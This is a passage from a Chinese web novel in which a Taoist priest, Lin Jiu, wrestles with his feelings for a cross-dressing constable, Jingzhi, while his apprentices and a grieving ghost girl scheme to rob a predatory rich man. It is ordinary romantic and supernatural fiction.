与她相处的场景一幕幕掠过脑海,最后停留在她中午留下的那两颗清泪上。 林九捂住有些胀痛的胸口,突然下了床。 晚上吃多了,有些烧心吧,他想。 也许…吃个山楂消消食,能好点。 林九踱步来到桌前,打开油纸。 看着红艳艳的山楂,他指尖微顿,过了好一会儿,才深呼吸一口气拿了起来。 从签子尾部薅一颗下来,塞进嘴里慢慢嚼着。 好酸。 她说的是真的。 那为什么不连糖一块儿吃呢? 单独分开,独立成一个个体,真的会更好吗? 糖的甜,综合一点酸进去,难道不会更好吃吗? 林九看着从上往下数第二颗山楂,上面有她小小的牙印。 为什么退却了? 是怕了吗? 林九闭了闭眼,然后薅下那颗山楂在月光下看着。 她牙齿可真尖,牙也小小的。 昨天……她还咬他了呢。 为什么…他会帮她吮伤口,他本不是多管闲事的人,也不是那么没有距离感的人…… 哼。 这颗山楂,一定也是酸的。 林九看了得有一刻钟。 拿起,放下。 拿起,又放下。 突然,他深吸一口气,胡乱把它塞进嘴里。 咀嚼一番后,他无奈的笑了。 这颗,是酸甜口的。 不尝试一下,又怎么会知道呢? 林弟是个傻子。 他……也是。 林九睁开眼睛,看着手里一小捧的山楂籽,那双本应锐利的眼睛里,此刻盛满了迷茫和纠结。 原来,他不仅是个傻子,他还是个变态。 明明不过才认识她两天的。 可他好像…… 已经对她存了不该有的心思了…… 第206章 关门 “奇怪,人到哪儿去了?” 静之交接完,本想回家去,却看到阿宝的摊子灯亮着,人却不见了踪影。 这个摊子现在是阿宝唯一的希望,她相信若不是有重要的事儿,他是绝对不会就这样撇下不管的。 “不对,有阴气。” 刚抬头往阴气的来源看去,就看到阿宝急速离去的背影。 搞什么飞机啊? 静之抬脚快步跟了上去。 这个片区临河,子时水汽弥漫,大雾渐渐笼罩了过来。 一条蜿蜒小路若隐若现,路的尽头延伸到一个破庙里。 庙前碎砖满地,杂草野蛮生长。 庙里却仿佛有人住,橘红的火光隐隐跳动着,给这荒凉的环境带来一丝暖意。 静之追到这里,就看到阿宝拿着根柳枝朝一位白衣女鬼抽去。 “咻!” “啊!大叔,你听我解释!” 女鬼被柳枝打中,鬼体从空中坠落,一路滚到静之脚边。 都说柳枝打鬼,越打越矮。 朦胧的雾气下,离得很近的静之都能清楚的看到她腿部渐渐逸散的鬼气。 那女鬼双目垂泪,刚想看看身后站了什么人。 一看到是静之,她爬了起来,苍白着脸,畏畏缩缩躲在她身后。 “恩人救我!” 静之看到她的脸,这时才记起来,这鬼……不是第一天来领粥的时候,因为发烧和饥饿直接去世的那个姑娘吗? 她的魂体怎么会在这儿? 林九没送她入轮回吗? 她内心疑惑重重,阿宝这时却突然冲了过来。 “哎呀,林兄弟你快让开,她用冥纸骗我的粥喝,这事儿你可不能袒护她!对了,里面还有一个鬼,你去抓那个!” 那女鬼看到静之脸色一肃,快步朝破庙里走去,她避开阿宝的柳条,飞到静之跟前。 她揪住静之的袖子拦住她的去路,泪流满面的说: “里面那个是我妈,她还活着,她不是鬼,求你们放过她吧。” 边说着,她转过身朝阿宝深深鞠了一躬。 “对不起大叔,我不该骗你的粥喝,但是我死了,我那瞎了眼的妈自己是走不到城门口去领粥的,我是不得已才这样做的,你放过我一次吧。” 清泪离了她的身便化为虚无,犹如她缥缈无影的身形一般。 一个女鬼哭得这么惨,道歉还道得这么诚恳,老实的阿宝实在下不了狠手再打她。 高高举起的柳条,慢慢放了下来。 “你……” 阿宝刚想说什么,庙里的老太太好像听到外头有人在争执,她睁着无神的眼,两手往旁边摸索着,颤颤巍巍从里面走了出来。 “小红?是小红回来了吗?妈不饿,不用你半夜出去……哎呦。” 老太太被满地的砖头绊得跌了一跤,手心被尖锐的砖一下就刮破了皮,鲜红的血一下就溢了出来。 “妈!”小红见她母亲受伤了,也无心再跟他们解释,身形一个变幻,闪现来到她母亲身边把她扶了起来,“妈,你没事吧。” 老太太把刺痛到不行的手往身后掩了掩,和蔼的朝小红的方向笑着: “妈没事,你回来就好了,等我们找到你表哥,你就不用这么累了。” 小红含着泪回过头,双手呈合十的姿态,作哀求状对着阿宝和静之。 明明她嘴巴未动,一道温柔的女声却直接传入他们耳中。 【我妈还不知道我死了,求你们别说出去。】 静之冷凝的眼神早就褪去,两条细细的眉毛却渐渐皱了起来。 难怪了,林九说这姑娘是被饿死的。 她看这老太太虽然一脸病容,但是体形敦厚。 估计,这位叫小红的女鬼,平日里都把施的粥端给她妈妈喝了吧。 唉,麻绳专挑细处断,厄运专找苦命人。 “妈,表哥找到了,我刚刚就在跟我表哥说话呢。” 静之:“啊?” 阿宝:“啊??” 老太太一脸疑惑:“怎么有两个?” 小红看了一眼静之,拘谨一笑:“妈,一个是我恩人,上回我出去领粥,是他救了我。” “哦哦。” 那老太也不知道静之在哪个方向,她原地踌躇了一下,然后朝刚刚发出声音的地方拜了拜,“谢谢您救了小女。” 静之也有一个患病的妈,看到这种情况,她实在是对小红下不了手。 她叹了口气,快步上前,把弯腰弯到一半的老太太扶起。 “没事,都是举手之劳,我是个捕快,这都是我该做的。” “哦,那阿文呢?”老太太问。 “阿文啊,阿文?阿文还不快过来!”静之一把扯过呆住了的阿宝,“阿文在这儿呢。” “阿文啊……”老太太乐 呵呵的摸索着阿宝的脸。 “阿文啊,你怎么变这么胖了?”老太太疑惑渐生。 阿宝对静之扯了个苦笑,然后拉下老太太的手,满脸不自在的胡诌: “哦,我来这儿生活太好,都吃胖了。” 小红感激的看了他一眼,趁热打铁说: “妈,找到表哥了,我们这就去表哥家住吧。” 老太太一脸欣慰的拍了拍阿宝厚实的手,“好好好,阿文小时候最孝顺了,长大了也一样。” “不是,我,你们……” 见小红眼圈又红了,阿宝重重叹了口气。 “哎,回回回,现在就回去。” 阿宝闷头走在前面,静之走在他旁边。 他思考了一下,小声对静之说:“我那儿破,能不能……让她们住你那儿去?” 静之耸了耸肩,回头看一眼相互扶持的母女俩,悠悠叹了口气说: “我倒是无所谓,但是我家就在你师父的道观旁边,你觉得以他的敏锐程度,他能察觉不到隔壁有鬼吗?” “……也是。”阿宝此时心里乱糟糟的。 小珠的事情迫在眉睫,这会儿又多了个小红。 而且以这个局势来看,他可能要养小红她妈了。 他是个穷鬼,他能养得起吗? “唉……” 静之拍了拍他的肩膀说: “叹什么气,有我在呢。” “我知道你这段日子艰难,你不用担心老太太的吃食,到时候我值完班,差不多子时左右把米和菜放你家门口,你出来拿就行。” 阿宝倏然抬头,睁着一双牛眼,眼泪汪汪的看着她,显然是大受感动。 他紧紧攥着沙包大的拳头,然后重重怼了一下静之的胸口: “林兄弟,我师父果然没有看错你,你真是个大好人!!” 静之揉着都快被捶凹下去的胸,表情堪比傅园慧被泳衣弹到。 “嘶……你爹的,你们师徒俩都一个样,以后不准对我做这个动作!” 阿宝挠了挠头,笑得憨厚,“嘿嘿,我知道了。” …… 阿宝的家跟静之家以及林九的道观不在同一条街上。 与两人一鬼分离后,静之大大伸了个懒腰后,往自己家走去。 这么一闹,现在都快二更天了,街上安静的可以。 她家就在河边,夜里的水雾是最浓的。 静之快走到家门口,才发现她隔壁门口站着个笔挺的人。 “林兄?你半夜不睡觉在这里干什么?” 雾中的静之迈着长腿走了过来,一张精致的脸庞越来越清晰。 白色的雾又柔和了她脸上的一丝英气。 他可真好看。 林九的心不受控制的越跳越快。 看着看着,林九眉心一皱。 “你身上怎么有鬼气?你刚刚去哪里了?” 林九看着她被露水打湿的下摆,陷入了沉思。 静之脚步一顿,赶紧快走几步回到她家门口。 这才微微侧过脸对林九说: “你多心啦,我就是随便走走,这个世道到处都在死人,也许是不小心沾到什么东西了吧。” 林九:“哦?是吗?” 他一脸认真补充道:“除了你巡视的区域,其他地方别瞎逛,明天我画几道符给你,你随身带一张,其余的贴在你家门窗上。” 静之的脸渐渐没入阴影里,林九只能听到她有些发紧的声音: “不,不必了吧。” 她要是带着那符纸,保不准什么时候就会伤到小红哦。 而林九则是默默的垂下了眸子,背在身后的手渐渐捏紧。 她……是不是不想要他的东西? 也是,当初结拜,也是他强求来的。 林九的脸跟着一起没入屋檐下的黑暗中。 他的声音毫无波澜,唯有两点淡淡的光,默默的朝着那道白色的背影: “……不要也行,明天你早点起,我在你家门口安个八卦。” “……好。” 那两束灼热的视线让她有些不安。 他是不是发现什么了? 看来,给阿宝送食物的时间还得再调整调整。 “更深露重,林兄早点休息吧。”她说。 林九前进一步,修长的手刚伸出月光外,传统的世俗观念和强烈的道德观,却又逼得他不得不后退两步。 温热的背部抵在冰凉的砖墙上,让他的大脑微微清醒过来。 不可。 那只手又渐渐缩了回去,攥得紧紧的,掩至身后。 灼人的视线消失。 静之微微松了口气,打开门走了进去。 白色的身影彻底消失在他眼前,林九垂下的眼睫,完全掩盖了他满眼复杂的情绪。 滋生出那样的妄念,已是他不该,怎可把林弟这样清朗的人,一起拖入泥潭呢…… 月光皎皎,林九的心越来越冷。 终于,他也走了进去。 道观和小院,相临的两道门,几乎是同时吱呀一声关上。 一起紧闭的,也有林九敞开了一点的心门…… 第207章 纠结死的林九 七月的清晨,总是亮得格外的早。 卖早餐的人一般天蒙蒙亮就出来了。 以防有心急的客人等不及他们现做,所以一般他们会把推车先推出来,然后先做一些早点摆着。 既能吸引顾客,又能节省不少时间。 卖烧饼的老板也是这样。 他一向习惯在河边这里摆摊,过桥的人总会顺手在他这儿买个饼。 河边又有树,就算他卖到中午,也能有一处可以乘凉的地方。 这会儿,他已经烙了不少饼出来。 每次从圆形的炉内夹出一个饼,他就借机抬起眼皮,看一眼站在那小院门口的人。 又过了差不多二十来分钟,天色已然大亮,路上来来往往的行人渐渐多了起来。 老板刚包好一个饼递给路过的人,就忍不住清清嗓子,与那个仿佛要钉死在人家门口的人搭话。 “九叔啊,我看你在这里很久了,你找里面的人是有什么事吗?要不要顺便买个饼吃?” 林九仿佛这时才回过神。 他轻轻眨了下眼,从怀里掏出几枚铜钱递过去,“来两个。” “好嘞!” “……不要凉的,你从炉里重新拿两个。” 毕竟,她还不知道什么时候起床呢。 “行!” …… 林九身上斜背着的布口袋,都被露水微微打湿了,他左手微微举高一点饼远离布口袋,右手缓缓伸出,握住了被太阳晒得有些温热的门环。 他来这里是有理由的,他是来安八卦的。 林九这样对自己说。 他深吸一口气,然后缓缓叩响门环。 “谁?” 里头传来她因困顿,而显得有些迷糊拖沓的声音。 林九心跳霎时漏了一拍。 莫名觉得她这软软的语调,说的人心头直发软。 “是我,林九。” 静之昨晚就怕被林九发现什么端倪,一回家就赶紧烧水洗澡,换衣服。 等一切都忙活完了,她躺在床上跟烙饼似的翻了半天,天蒙蒙亮,才沉沉睡去。 昏沉中又听到林九的声音,吓得她瞬间睁开困顿的双眼。 要死。 双眼皮都快困出四个褶了。 而且她的寝衣还是女装,头也没梳,胸也没束。 静之噌的一下,就从床上蹦了起来。 …… 林九等了许久,那小院的大门才吱呀一声打开。 静之衣服倒是穿好了,头发却束得有些松散。 额前略短的刘海飘落下来,微微挡住了她故意描粗的剑眉。 在林九眼中,这样的她显得更加柔和了。 “抱歉,我昨晚睡晚了,刚刚没怎么清醒,换衣服慢了些。” 林九别开眼,温和一笑,将手里其中一个饼递了过去,“无碍,不知可否向林弟讨杯水喝,光吃饼有些干。” “谢谢,进来进来!我凌晨烧炉子了,这会儿水应该还温着,我去拿!” 静之拿着饼咬一口,朝他笑了笑,侧过身,让林九跨进院子。 她不该朝他笑的,他不是个好人。 林九轻轻捏紧手中的饼,饼渣纷纷扬扬掉了一地。 他低头用脚把泥土微微拨开,然后把饼渣用鞋底扫进去,掩埋住。 “进来呀,你站在那里干什么?” 静之拎着个空壶,站在客厅里喊。 林九应了一声走过去,刚走到门前,却碰到她从里头走出来。 他侧身让她经过。 微风拂起她的碎发,有几缕长一些的轻柔的打在他脸上。 也就是一瞬间的事儿,她走去厨房打水了。 林九摸着自己的侧脸,有些怅然若失。 后脚跟着跨进去客厅,把饼放在桌上。 林九怕她昨晚真遇到什么脏东西,于是拿了个罗盘出来,四处走动着。 客厅里没有。 院子里也没有。 去她房里看看吧,林九想。 我是为了她的安全。 他又默默给自己找了个理由。 心跳莫名加快,他推开那两扇虚掩着的门走进去。 屋里满是她身上清幽的香味,被子还微微拱出一个弧度放在床上。 林九眼里莫名泛起一丝笑意。 看着那床被,他都能想象到她的睡姿跟个蛆似的。 她的房间里有个古典雅致的梳妆台。 化妆品摆了一桌子。 林九也就瞟了一眼就收回眼神。 他林弟是个喜欢男扮女装的,有这东西不奇怪。 等会! 林九突然愣住了。 林弟喜欢男扮女装,是不是说明,她的内心有些女性化的成分。 那……她会喜欢 男人吗? 林九怔在原地几秒,突然摇了摇头。 一掌啪的一声拍向自己脑门。 他在想什么呢,唉。 他不再看梳妆台,转过了身。 眼前却出现一个四开门的大衣柜。 衣柜最右侧的那个门敞开了一点儿,一角暖黄色的布料夹在衣柜门边上,看着着实有些碍眼。 林九不想乱动人家东西,他收回眼神,盯着罗盘走向,专注于寻找阴气的来源。 奈何整个房间都找遍了,指针转动并没有任何异常。 看来,林弟昨晚说的可能是真的了。 林九收回罗盘,刚走到门口,强迫症驱使他又回到了那个衣柜前。 “毛毛躁躁的。” 他吐槽道。 手捏住柜子把手往外拉了一点,想把那块儿布料往里塞。 好像是那布料太柔滑,他刚一开柜门,还没来得及塞进去呢,那件衣服就飘落到他脚背上。 看清楚是什么东西的时候,他不禁放开手,连连后退了好几步。 此时的林九,脑子里乱得可以。 林弟的衣柜里,怎么会有肚兜呢? 难道是她男扮女装的时候穿的? 应该不至于到这个程度吧。 那……肚兜,就是她喜欢的女孩子的??? 也是,林弟长得好,性格也好,有女孩子喜欢她,是很正常的事。 林九刚刚有些过快的心跳,突然慢了下来。 甚至比平时更慢。 他的嘴唇渐渐抿紧,看都不想看那肚兜一眼,抬脚就往外走。 刚走到门口,迎面就碰上静之。 静之:“你怎么在这?害我找你一圈了。” 林九:“……没事,我到处走走。” 见他脸色不好,静之刚想问问怎么了,余光却看到地上那件肚兜。 不是,难道她早上收得太急掉地上了? 那他看到啦? 所以他现在脸色这么难看,是因为怀疑她是个女的,所以想吐??? 静之冲进去,一把抓起肚兜,打开衣柜就往里塞。 林九静静站在原地看着她慌乱的动作,眼神越发的黯淡。 她慌了? 既然那姑娘的肚兜都落这儿了,那他们俩已经……? 所以她现在的慌乱,是怕他会去告密吗? 林九闭了闭眼,背在身后的右手紧紧掐住他左手的手腕。 “那,那个,我,我,我金屋藏娇了,男人嘛,你懂的!”静之捏着手,眼神闪烁个不停,连正眼瞧他一眼都不敢。 林九却以为她怕事情败露而心虚,乍一听到她这句话,他的心凉了个透彻。 看来男扮女装,不过是个爱好罢了。 林弟喜欢的,依旧是女子。 “你放心……我不会说出去。” 他的语气莫名有些冷淡。 静之挠着脑袋,有些摸不着头脑。 他什么意思? 他这是信了吧。 嘿嘿,他可真好骗。 她的脚步有些轻快,两步走过去,学他之前的样子捶一下他的胸口。 “林兄,你可真是我的好兄弟!走吧,咱们去吃饼!” 那一拳不轻不重的,林九却觉得心里的躁动仿佛被捶散了。 静之单方面与僵硬住了的林九勾肩搭背,推着他朝外走去。 林九:好兄弟……这辈子,他们也只能是好兄弟了。 第208章 先掰弯,再掰直。 为了避免自己再心生妄念,林九在给静之家安完八卦以后,就准备将他们结拜兄弟的名分坐实。 “七月十八可否,那天是吉日,结拜要用的东西我会备好,你人来就行。”林九说。 静之不禁后撤一步,惊得嘴巴都合不上了,“十八?十八不是五天后吗?会不会太快了?” 林九:“你……是不是不想?” 他突然自嘲一笑,侧过脸,脸上唯一的一点期待也慢慢消失: “也是,林某不过是个臭道士,无钱无势,你若不想……咱们,就当个普通朋友也好。” 看着她迟疑的态度,林九觉得自己的心都要裂成两半了。 妄念,本就不可能成真。 难道,连兄弟都做不上了吗? 他的脸色有些不大对,静之同样有苦难言,有口也难辩。 “不是,我从未嫌弃过你,你别这么说。” 林九眼里完全寂灭的光,又微微亮起一点。 “那……你可愿?” 静之狠狠抹了把脸,破罐破摔: “你到时候可别后悔啊!” 林九神情微顿,然后坚定的点了点头。 “不会的,那就十八号,我回去准备。” 林九深深看了她一眼,仿佛在为自己无果的爱恋诀别,然后扭头就走。 …… 静之急得满地团团转,头都快挠破了,都没想出什么好法子来。 而且,他刚刚那个眼神是啥意思? 死活都要跟她做兄弟吗? 他怎么那么轴呢? 怎么办怎么办怎么办怎么办??? 之前那次可以说是玩闹性质的,看来这次他要来真的了。 以林九一板一眼的性子,她要是真跟他做成兄弟,那可就一点回旋的余地都没了。 她哐的一声坐回林九刚刚坐的椅子上,拿起他喝了一半水的杯子看了看,唉声连连,咔哒一下,把杯子放回桌上。 手肘杵着膝盖,双手抱着头,看起来为难得不得了。 林九站在她家门口,定定的看着她急。 她……纠结成这样,应该很为难吧。 对不起,林弟,我…… 只有这样,我才能彻底死了这条心。 以后,我会想办法补偿你的。 林九紧攥着拳头,迈开脚步,朝道观走去。 屋内,静之烦得要死,又哐的一声,用力靠到椅背上。 “为什么你老是执着于跟我做兄弟呢,脑子就不能拐拐弯吗?” 静之侧趴在桌上吐槽着,看着那个杯沿挂着一滴水的水杯,眼里的纠结犹如一团凌乱的毛线。 突然,她站了起来,小声咒骂一句,然后拿起那半杯凉透了的水一饮而尽。 淡淡的檀香味,蔓延进口腔里,静之下定决心。 不就是五天吗? 时间是紧了点。 但她就不信勾搭不住他的心!! 静之下摆一扬,大步走出房间。 关好院子门时,她下意识抬头看了一眼。 一个八卦端端正正挂在她家门上头,在阳光的照耀下闪闪发亮,一看就安全感十足。 静之看着那个八卦,拳头渐渐攥起。 林九,你就接招吧! …… 静之知道林九回去准备东西了,她趁着他没空,去附近市场买了许多日常用品,还有她想给他送的东西的材料。 她还是觉得林九虽然抠且好面子,但是相比直接买的礼物,不如她自己做的,更能打动他的心。 要扭转一个大直男的心,可不得直击痛点嘛。 管他直不直,先给他掰弯了再说。 等他喜欢上她了,她就跳出来说,我是女的,惊不惊喜意不意外!! 啊~想想就刺激! 她肩上扛着一袋米,手里还拿着好几袋东西,偷偷摸摸经过林九道观门口的时候,道观的门突然吱呀一声开了。 “艹。” 她心跳陡然加快,整个人僵在原地。 不对啊,她买的又不是什么见不得人的东西,这么紧张干什么? 嘁。 静之挺直腰杆,接着往前走。 “呦,林兄弟买这么多东西干什么?屯着过冬……唔!” 静之丢下手里的东西,捂住小海的嘴把他往旁边拖。 她谨慎的往道观里头瞄一眼,这才把视线转到小海脸上。 小海口鼻被她捂住,这会儿缺氧缺得面红耳赤,翻着白眼,眼看就要厥过去了。 她有些尴尬的放手,然后竖起手指嘘了一声。 “你师父呢?”她小小声问。 “他从早上回来,就一直在房间里叮铃哐当的,不知道干什么。”小海学着她的样子圈起嘴巴回答,“我们为什么要这样说话?你这些东西不是买 的,是偷的?” “放屁!”静之翻了个白眼,然后凑近他耳朵,“如此这般,如此这般……” 林九上辈子就有前科,不分青红皂白就把她当妖怪给收了。 所以她不打算跟他讲这件事。 给小海说了一通昨晚的事儿以后,她把米面油粮交给小海,“趁现在,你快拿去给你师兄。” 小海扛起米,指向她手里拎着的东西。 “这些不是要给我师兄的?” “那些还不够吗?赶紧走赶紧走!我自己不用吃饭啊!” 小海挑了挑眉,无所谓嘟了下嘴,拿着东西走了。 静之兴冲冲的拿着东西回家,开始准备勾搭林九。 首先,要抓住一个男人的心,就要先抓住一个男人的胃。 静之准备祭出他最爱吃的东西,叉烧。 虽然不远处的同记叉烧还在开,但是她想自己试着做看看。 毕竟亲手做的更有诚意嘛。 静之万万没想到,这东西这么难做。 不是腌肉的时间不够长,没什么味道,就是烤的时间太长,邦邦硬,咬不动。 她试了三次,直接从中午做到日落西沉。 期间等待腌制的时间,她做了几个小菜后,闲的蛋疼,就在院子里烤起了鸡。 为了做叉烧,她蜂蜜买多了,这会儿还有剩的,她就拿出来刷上了。 另外一只,就洒上一点辣椒面和孜然。 都架到火上以后,她就化身成为鼓风机,对着隔壁狂扇扇子。 烤制食物的霸道香气,随着柴火燃烧升腾起的轻烟,一同被她扇到隔壁去。 小海送完东西回来,频频站到最靠近她家院子的墙那块儿嗅着。 “师父,林兄弟好像在做什么好吃的,鼻子都要香掉了。” 林九躺在摇椅上,手里一动不动卷着本书,看着已经一脚踩出门外的小海,他眼不离书本,淡定说一句: “平时又没饿着你,你别给我做出丢脸的事。” 小海艰难的把腿收回来,鼻子不停抽抽着,妄图用喷香的空气填饱肚子。 奈何越闻越饿,他的肚子咕噜咕噜直响。 林九斜他一眼,“饿了就去动手做饭,天上哪有掉馅饼的事。” “……哦。”小海不悦,走向厨房。 “咕噜噜噜。” 小海一捂肚子,不是他呀。 他仿佛意识到什么,然后回头看着林九嘿嘿直笑,“师父,不是我的肚子在叫诶,好像是你~” 林九暗暗咽了口口水,丢过去一个鸡毛掸子,“滚去做饭!” 还轮得到徒弟来嘲笑他? 抽不死他丫的。 小海刚一脚踩到长廊上,隔壁树上就多了个人。 静之头上包着块布,袖子高高撩起,一副利索的样子,趴在墙头上,朝林九笑得开心。 “林兄,跟小海过来一起吃个便饭?我煮多了,一起解决一下呗。” 林九放下许久未曾翻页的书,坐了起来。 刚想说什么,小海凑到他身边小声说: “师父,馅饼这不就掉下来了?” “啧,你要不要脸。”林九怒瞪他一眼,然后抬头对静之说: “不白吃你的,小海,把早上买的水果拿过去对面。” “好嘞!” 林九快走出门口时,看着小海手里的俩芒果,不禁瞪了他一眼,“回去把西瓜也一起抱过来,还嫌不够丢人吗?” 小海一手一个芒果,简直对林九叹为观止。 他师父是这种大方的人吗? 显然不是。 …… 关门的时候,林九突然提出个问题,直接给小海打了个措手不及。 “你师兄呢?怎么一天没见着人?” “他,他,他在准备摆摊的东西。” “哦?”林九若有所思的看了磕巴到不行的小海一眼,“那就好,别再给我惹事就行。” “怎么能呢!哈哈哈,师兄最老实了!”小海抱着一个瓜并两个芒果,直着脖子,一溜烟跑进静之院子里。 第209章 敏锐的林九 “林兄,你在外面帮我看着火,我把菜端出去!” 静之给他们开门后,又跑进厨房里。 小海赶紧跟上。 “师父,我把西瓜切了啊,你等会。” 趁着林九看火的时候,他凑到静之身边说: “怎么办?我觉得师父好像怀疑我了,要不要给小珠转移一下地方啊?” 静之端着菜转身看向他,“他有说什么吗?” 小海摇头,“那倒是没有,可我就是觉得他看我的眼神不太对劲儿。” “……嘁,他看我的眼神才不对劲儿呢,别管他,先吃饭再说,我等会还得出去巡街呢。” 看着她出去的背影,小海暗暗啧舌。 原来她也觉得师父看她的眼神不对啊,那……他要有师母,不对,师,师公了? 也不对,师公好像不是这样用的。 那到底要叫什么好呢? 小海咬着指甲,眼睛看着房梁,在那儿思索着未来该怎么称呼静之,林九突然走了进来。 “偷懒?” “没有没有!” 他赶紧放下手,环顾四周找起了刀。 他战战兢兢切西瓜的时候,林九突然在他旁边说一句: “我不知道你们在瞒着我在干什么,不过你和她身上皆有相同的鬼气,你是不是拿鬼做坏事了?你说是不说?” 小海差点一刀砍自己手上。 他放下刀,脸都皱成苦瓜了。 “师父,我,我不能……” “林兄,鸡熟了,帮我拿条抹布过来,铁签太烫啦!”静之突然朝这里叫了一声。 林九扯出被垫在砧板下的抹布,极其严肃的看了小海一眼: “我教你们本事,不是让你们控鬼做坏事的,你给我牢牢记住这一点。” 说完他转身就走。 小海被他刚刚陡然散发的气势,吓得浑身直冒冷汗。 …… 余烟袅袅,林九坐在石桌下拆鸡,静之则拿着碗给他盛汤。 小海端着西瓜走出去后,也不敢坐在林九身边,绕了一大圈,把果盘放到桌子中间,靠着静之坐。 林九轻飘飘看了他一眼,吓得小海就是埋头苦吃。 啧,两个大男人,靠这么近干什么? 吃饭期间,林九也没空理他了。 静之不知道为什么,一直对着他笑,还老是给他夹菜。 而且她的眼神,他有些看不懂。 她眨眼……是被烟熏到了? 还是在对他放电? 为了防止自己再心动,他完全不敢对上她的眼神,吃完碗里的食物后,他故意挡着碗,板着脸拒绝。 “好了,我要吃会自己夹。” 静之睁着一双无辜的水润大眼,注视着林九的侧脸说: “再吃一口嘛,我做了一整个下午的,你昨晚请我吃鸡,我也想请你吃点好的。” “我自己做的,保证卫生过关,干干净净!” 她说得真诚极了,饭菜也很可口,反正很对他的胃口。 林九“勉为其难”,只能把碗伸了过去。 小海边埋头吃鸡,边暗戳戳的观察他俩的互动,心中暗觉诧异。 这是怎么了? 他师父不是一向对林兄弟很主动的吗? 怎么现在情况反过来了? 难道……他师父这么快就不喜欢人家了? 才三天。 人渣! 他恶狠狠咬下一口鸡腿肉,然后怂兮兮的白了林九一眼…… …… 晚上静之出去巡街的时候,小海偷溜了出来,跟在她后面,说找她有点事儿,然后把她拉到了天然居附近。 “我去,你们把她带出来干嘛?不怕林兄等会出来逛街看到,直接把她收了吗?” 小海一把将她拉到一棵歪脖子树后面躲着。 小海一脸兴奋说: “我们有个发财计划,你看那是谁!” 静之顺着他指的方向看过去,原来是史公子。 此时他正在骚扰站在门口迎宾的小珠。 以静之极佳的耳力,她完全能够听到史公子嘴里吐出来的污言秽语。 “小珠,你跟我回家吧,我给你看个好东西~” “矮油~别害羞嘛,我们家有水床,就是那种水床~” 阿宝的指甲紧紧扣进了树皮里。 小海愤慨出声:“禽兽。” 静之咬牙切齿:“人渣。” 小红转头看向憋闷的阿宝,对于这个不计较她的过错,还愿意收留她的恩人来说,若是他有难,只要不违背本心和社会道义,她是愿意帮助他的。 眼前的一幕实在令人愤怒,静之闭了闭眼,皱着眉转头问小海。 “你们到底要干什么?” 小海:“劫富济 贫。” 小红睁着无辜的大眼,跟着说: “他们说,那个史公子是村里最坏的人,下药奸淫了不少女子,我是自愿帮他们的。” 静之垂着眸子想了一会儿,还是不是很赞同。 “林兄发现了怎么办?” “哎呀,他现在不知道在干什么,又关在房间里叮铃哐当的了,所以要上就趁现在。” 小海转头催促小红,“赶紧的赶紧的,按照我们之前说的,我和阿宝在底下接应你。” 小红秀丽的脸上,露出一抹矜持的微笑,她点了点头。 不过眨眼之间,便变换成了小珠模样。 阿宝紧紧盯着她,一时竟看傻了眼,低声呢喃道: “小珠……” 阿海一把拍掉他要往人家肩上搭的手,“哎呀,小什么珠,这是小红,你的小珠已经回里头去了。” 阿宝再一抬头,小珠已经挣脱史公子的纠缠,跑到楼上去了。 他刚放下心来,就看到小红幻化成的小珠朝回到街上的史公子走去。 看着两人离开的背影,静之心里莫名有种不祥的预感。 小红才死不久,昨晚还被阿宝用柳条打了,鬼力不强。 而史公子身边可是有个苗家术士的。 “啧,你们真是会给我找事情做,我去看看。” 静之握着刀,快步跟了上去。 阿宝:“诶,林兄弟……” 小海拦住他的手,“你干什么?” 阿宝有些担忧,“我们这么做,本质上就是不对的,要是被发现了,我们两个被师父说就算了,我不想她也掺和进来。” 小海:“你怕她被师父骂啊?” 阿宝老实点头。 小海叹了一声,拍了拍他的肩膀,说: “你想啊,你今天推车出去卖粥卖了几碗,三个月后真的能凑齐钱迎娶小珠吗?” “退一万步说,就算你凑齐了,钱全部给了你的那个钻进钱眼里的岳父,难道你要跟小珠日日在街头卖粥吗?这不是把小珠推入火坑了吗?” “而且林兄弟昨天跟师父比武我们都看到了,她比我们两个强,多个人多份力嘛,你不说我不说,师父怎么会知道呢?” “还有那个史公子,他天天来店里调戏小珠,难道你就不想报仇雪恨吗?” “想!” 他想极了。 每天梦里都是他把拳头往史公子那张脸上攮去的场景。 老实的阿宝被机灵的小海一通洗脑,满脸坚定的点了点头,“行吧,那赶紧走,别让她一个人。” …… 第210章 林九发现了 果然不出静之所料,史公子进门时,被他的门客,也就是那个术士老头偷偷塞了个东西。 她心道不妙,脚步一拐,来到史府后头。 没找到小红,她只能来到小海身边。 “就是这间?”她小声问小海。 “没错没错,快上去,不然他们快到了。”小海拉着阿宝搭了个人桥,“来吧。” 静之抬头看了看三米多高的窗台,一脸淡定说:“不用。” 她后退几步,一个助跑,三两下就窜到房间里面去了。 小海收回手,好像是赞叹,又好像是吐槽: “就这爬墙的功夫,上辈子如果不是只猴儿,就是只猫。” …… 静之刚一进门,就听到两个脚步声越走越近。 突然,一高一矮两个身影出现在门前。 靠,来得真快。 衣柜太远,床就在窗对面,躲衣柜的话,显然是来不及了。 她一个滑铲,直接躲入床底。 “吱呀!”门开了。 静之默默将露出到床外头的下摆往回拉。 “来嘛。” “不要。”小红收回看向床底的眼神,装作羞怯的样子,一个转身,抱住床柱,挡住史公子的视线。 “害怕?”史公子捻了捻胡须,一双不安分的眼睛不住打量着她窈窕的背影,“那先喝点酒?” “……好。” …… 一人一鬼在离床不远的桌旁坐下,那老头给东西的时候掩得甚是隐秘,静之没看到是什么。 小红正对着床,静之怕小红中招,于是疯狂摆着手叫她别喝。 小红面色犹豫了一下,背对着床的史公子却先饮一杯,拿着空杯底对她表示: “看什么呢?酒没问题的,你放心,我是那种人吗?” 小红赶紧掰回他欲往床下看的脸,“没,没什么,我不好看吗?来喝酒嘛。” 看着粉面桃腮的“小珠”,史公子又迷离了眼:“嘿嘿,好看极了~” 喝到一半,那史公子实在忍不住,就要对小红动手动脚,她假借撒娇,一肘子顶向他的腰子。 史公子紧紧捂住腰侧,“哎呦我去。” 小红推开他,走到窗边,“你先去换衣服嘛,都是酒味。” “换衣服?嘿嘿,也行。” 史公子乐颠颠的走进屏风后。 他一进去后,小红脸上的温柔小意尽失,她四处看了一下,便来到博古架前。 拿起上面摆着的青花瓷瓶就往窗外丢去。 没有听到碎裂声,静之就知道楼下的小海跟阿宝接住了。 见她正忙着,静之偷偷摸摸从床底下爬出来,来到小红身旁低声问: “你没事?” “没事,怎么了?”文文弱弱的姑娘,举着个大缸,回过头一脸呆萌的问。 “……没。”静之的眼里闪过一丝笑意,随后表情又是一肃,“等会别让他近你身,尽快想办法逃掉,我怕他还有后招。” “小珠?你在和谁说话?”屏风后传来声音。 完犊子,偷不着了。 小珠心一急,把手里的大缸朝楼下砸去。 “诶,别!” 